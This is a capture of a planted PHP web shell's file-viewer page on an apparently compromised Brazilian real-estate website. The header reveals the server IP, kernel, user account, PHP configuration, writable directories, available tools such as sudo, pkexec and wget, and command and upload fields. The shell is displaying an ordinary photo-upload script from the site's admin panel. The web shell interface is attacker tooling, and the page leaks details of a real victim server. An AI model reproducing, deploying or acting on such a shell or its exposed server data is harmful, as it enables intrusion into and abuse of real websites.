403Webshell
Server IP : 23.111.136.34  /  Your IP : 216.73.216.136
Web Server : Apache
System : Linux servidor.eurohost.com.br 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : meusitei ( 1072)
PHP Version : 5.6.40
Disable Function : show_source, system, shell_exec, passthru, proc_open
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/meusitei/public_html/painel/assets/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/meusitei/public_html/painel/assets/scripts/midia.php
<?php
    $iphone = strpos($_SERVER['HTTP_USER_AGENT'], "iPhone");
    $ipad = strpos($_SERVER['HTTP_USER_AGENT'], "iPad");
    $android = strpos($_SERVER['HTTP_USER_AGENT'], "Android");
    $palmpre = strpos($_SERVER['HTTP_USER_AGENT'], "webOS");
    $berry = strpos($_SERVER['HTTP_USER_AGENT'], "BlackBerry");
    $ipod = strpos($_SERVER['HTTP_USER_AGENT'], "iPod");
    $symbian = strpos($_SERVER['HTTP_USER_AGENT'], "Symbian");
    if ($iphone || $ipad || $android || $palmpre || $ipod || $berry || $symbian == true) {
       $mobile_what = 'api';                                            
    } else {
       $mobile_what = 'web';
    }
?>

<script>
        var fotosqt = <?php echo $fotos_qt; ?>;
        var fotoscont = <?php echo $fotos_start; ?>;
        var fotostotal = <?php echo $numfotos; ?>;
        //alert(fotostotal+fotoscont);
        var fotosconttotal = fotoscont + fotostotal;
        
        function decremento(){
            fotosconttotal = fotosconttotal - 1;
            //alert(fotosconttotal);
        }  
        
        $('#editar').click(function() {
            window.location = '<?php echo HOME_URI; ?>imobiliaria/imoveis/edit/<?php echo $parametros[1]; ?>';
        });
        
        $('#concluir').click(function() {
            window.location = '<?php echo HOME_URI; ?>imobiliaria/imoveis';
        });
        
        // from http://stackoverflow.com/a/32490603
            function getOrientation(file, callback) {
              var reader = new FileReader();
            
              reader.onload = function(event) {
                var view = new DataView(event.target.result);
            
                if (view.getUint16(0, false) != 0xFFD8) return callback(-2);
            
                var length = view.byteLength,
                    offset = 2;
            
                while (offset < length) {
                  var marker = view.getUint16(offset, false);
                  offset += 2;
            
                if (marker == 0xFFE1) {
                    if (view.getUint32(offset += 2, false) != 0x45786966) {
                      return callback(-1);
                    }
                    var little = view.getUint16(offset += 6, false) == 0x4949;
                    offset += view.getUint32(offset + 4, little);
                    var tags = view.getUint16(offset, little);
                    offset += 2;
            
                    for (var i = 0; i < tags; i++)
                      if (view.getUint16(offset + (i * 12), little) == 0x0112)
                        return callback(view.getUint16(offset + (i * 12) + 8, little));
                    }
                  else if ((marker & 0xFF00) != 0xFF00) break;
                  else offset += view.getUint16(offset, false);
                }
                return callback(-1);
              };
            
              reader.readAsArrayBuffer(file.slice(0, 64 * 1024));
            };
        
$.blueimp.fileupload.prototype.processActions.duplicateImage = function (data, options) {
    if (data.canvas) {
        data.files.push(data.files[data.index]);
    }
    return data;
};
 
$('#fileupload').fileupload({
    processQueue: [
        {
            action: 'loadImage',
            fileTypes: /^image\/(jpeg)$/,
            maxFileSize: 20000000 // 20MB
        },
        {
            action: 'resizeImage',
            maxWidth: 1920,
            maxHeight: 1200
        },
        {action: 'saveImage'}
    ]
});
        
        
$(function() {
    
  'use strict';
  
    $('#fileupload').fileupload({
        drop: function (e, data) {
            $.each(data.files, function (index, file) {
                //alert('Dropped file: ' + file.name);
                //document.cookie = 'imagem_teste'+index+'='+file.name+'; path=/';
            });
        },
        change: function (e, data) {
                $.each(data.files, function (index, file) {
                    getOrientation(file, function(orientation) {
                        //alert(orientation);
                        //document.cookie = 'orientation='+orientation+'; path=/';
                        var name = file.name;
                        var resultado = file.name.split(".");
                        resultado = resultado[0];
                        resultado = resultado.normalize('NFD').replace(/([\u0300-\u036f]|[^0-9a-zA-Z])/g, '');
                        //alert(resultado);
                        document.cookie = resultado+'='+orientation+'; path=/';
                    });
                
                 //alert('Selected file: ' + file.name);
                //document.cookie = 'imagem'+index+'='+file.name+'; path=/';
                //document.cookie = 'imagens='+index+'; path=/';
            });
        },
    });

  // Initialize the jQuery File Upload widget:
  $('#fileupload').fileupload({
    // Uncomment the following to send cross-domain cookies:
    //xhrFields: {withCredentials: true},
    url: 'https://meusiteimobiliario.com.br/painel/imobiliaria/uploadefotoimovel/'+<?php echo $param;?>+'/insert',
  });
  
  // Enable iframe cross-domain access via redirect option:
  $('#fileupload').fileupload(
    'option',
    'redirect',
    window.location.href.replace(/\/[^/]*$/, '/cors/result.html?%s')
  );

  if (window.location.hostname === 'blueimp.github.io') {
    // Demo settings:
    $('#fileupload').fileupload('option', {
      url: 'https://meusiteimobiliario.com.br/painel/imobiliaria/uploadefotoimovel/'+<?php echo $param;?>,
      // Enable image resizing, except for Android and Opera,
      // which actually support image resizing, but fail to
      // send Blob objects via XHR requests:
      disableImageResize: /Android(?!.*Chrome)|Opera/.test(
        window.navigator.userAgent
      ),
      maxFileSize: 999000,
      acceptFileTypes: /(\.|\/)(jpe?g)$/i
    });
    // Upload server status check for browsers with CORS support:
    if ($.support.cors) {
      $.ajax({
        url: 'https://meusiteimobiliario.com.br/painel/imobiliaria/uploadefotoimovel/'+<?php echo $param;?>,
        type: 'HEAD'
      }).fail(function() {
        $('<div class="alert alert-danger"/>')
          .text('Upload server currently unavailable - ' + new Date())
          .appendTo('#fileupload');
      });
    }
  } else {
    // Load existing files:
    $('#fileupload').addClass('fileupload-processing');
    $.ajax({
      // Uncomment the following to send cross-domain cookies:
      //xhrFields: {withCredentials: true},
      url: $('#fileupload').fileupload('option', 'url'),
      dataType: 'json',
      context: $('#fileupload')[0]
    })
      .always(function() {
        $(this).removeClass('fileupload-processing');
      })
      .done(function(result) {
        $(this)
          .fileupload('option', 'done')
          // eslint-disable-next-line new-cap
          .call(this, $.Event('done'), { result: result });
      });
  }
});
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit